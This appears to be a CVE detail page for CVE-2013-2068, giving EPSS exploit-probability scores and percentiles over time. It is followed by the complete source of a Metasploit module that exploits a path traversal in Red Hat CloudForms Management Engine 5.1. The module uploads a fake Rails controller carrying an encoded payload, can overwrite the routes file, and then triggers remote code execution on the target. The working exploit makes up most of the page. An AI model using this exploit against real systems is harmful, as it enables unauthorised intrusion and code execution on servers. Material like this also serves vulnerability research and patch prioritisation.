CVE-2013-2068 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	76.32%	–	–
2022-03-13	–	–	74.82%	–	–
2023-03-05	–	–	73.08%	–	–
2023-03-12	–	–	–	54.32%	–
2023-06-25	–	–	–	54.94%	–
2023-10-01	–	–	–	59.21%	–
2024-01-07	–	–	–	59.65%	–
2024-02-11	–	–	–	59.65%	–
2024-06-02	–	–	–	62.43%	–
2024-08-25	–	–	–	59.71%	–
2024-10-27	–	–	–	53.46%	–
2024-12-22	–	–	–	58.43%	–
2025-01-19	–	–	–	58.43%	–
2025-03-18	–	–	–	–	76.87%
2025-03-18	–	–	–	–	76.87,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	99%
2022-03-13	99%
2023-03-05	99%
2023-03-12	97%
2023-06-25	97%
2023-10-01	97%
2024-01-07	97%
2024-02-11	98%
2024-06-02	98%
2024-08-25	98%
2024-10-27	98%
2024-12-22	98%
2025-01-19	98%
2025-03-18	99%
2025-03-18	99%

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit4 < Msf::Exploit::Remote include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize super( 'Name' => 'Red Hat CloudForms Management Engine 5.1 agent/linuxpkgs Path Traversal', 'Description' => %q{ This module exploits a path traversal vulnerability in the "linuxpkgs" action of "agent" controller of the Red Hat CloudForms Management Engine 5.1 (ManageIQ Enterprise Virtualization Manager 5.0 and earlier). It uploads a fake controller to the controllers directory of the Rails application with the encoded payload as an action and sends a request to this action to execute the payload. Optionally, it can also upload a routing file containing a route to the action. (Which is not necessary, since the application already contains a general default route.) }, 'Author' => 'Ramon de C Valle', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2013-2068'], ['CWE', '22'], ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=960422'] ], 'Platform' => 'ruby', 'Arch' => ARCH_RUBY, 'Privileged' => true, 'Targets' => [ ['Automatic', {}] ], 'DisclosureDate' => 'Sep 4 2013', 'DefaultOptions' => { 'PrependFork' => true, 'SSL' => true }, 'DefaultTarget' => 0 ) register_options( [ Opt::RPORT(443), OptString.new('CONTROLLER', [false, 'The name of the controller']), OptString.new('ACTION', [false, 'The name of the action']), OptString.new('TARGETURI', [ true, 'The path to the application', '/']), OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST'] ]) ], self.class ) register_advanced_options( [ OptBool.new('ROUTES', [true, 'Upload a routing file. Warning: It is not necessary by default and can damage the target application', false]), ], self.class) end def check res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, "ping.html") ) if res and res.code == 200 and res.body.to_s =~ /EVM ping response/ return Exploit::CheckCode::Detected end return Exploit::CheckCode::Unknown end def exploit controller = if datastore['CONTROLLER'].blank? Rex::Text.rand_text_alpha_lower(rand(9) + 3) else datastore['CONTROLLER'].downcase end action = if datastore['ACTION'].blank? Rex::Text.rand_text_alpha_lower(rand(9) + 3) else datastore['ACTION'].downcase end data = "class #{controller.capitalize}Controller < ApplicationController; def #{action}; #{payload.encoded}; render :nothing => true; end; end\n" print_status("Sending fake-controller upload request to #{target_url('agent', 'linuxpkgs')}...") res = upload_file("../../app/controllers/#{controller}_controller.rb", data) fail_with(Failure::Unknown, 'No response from remote host') if res.nil? register_files_for_cleanup("app/controllers/#{controller}_controller.rb") # According to rcvalle, all the version have not been checked # so we're not sure if res.code will be always 500, in order # to not lose sessions, just print warning and proceeding unless res and res.code == 500 print_warning("Unexpected reply but proceeding anyway...") end if datastore['ROUTES'] data = "Vmdb::Application.routes.draw { root :to => 'dashboard#login'; match ':controller(/:action(/:id))(.:format)' }\n" print_status("Sending routing-file upload request to #{target_url('agent', 'linuxpkgs')}...") res = upload_file("../../config/routes.rb", data) fail_with(Failure::Unknown, 'No response from remote host') if res.nil? # According to rcvalle, all the version have not been checked # so we're not sure if res.code will be always 500, in order # to not lose sessions, just print warning and proceeding unless res and res.code == 500 print_warning("Unexpected reply but proceeding anyway...") end end print_status("Sending execute request to #{target_url(controller, action)}...") send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, controller, action) ) end def upload_file(filename, data) res = send_request_cgi( 'method' => datastore['HTTP_METHOD'], 'uri' => normalize_uri(target_uri.path, 'agent', 'linuxpkgs'), "vars_#{datastore['HTTP_METHOD'].downcase}" => { 'data' => Rex::Text.encode_base64(Rex::Text.zlib_deflate(data)), 'filename' => filename, 'md5' => Rex::Text.md5(data) } ) return res end def target_url(*args) (ssl ? 'https' : 'http') + if rport.to_i == 80 || rport.to_i == 443 "://#{vhost}" else "://#{vhost}:#{rport}" end + normalize_uri(target_uri.path, *args) end end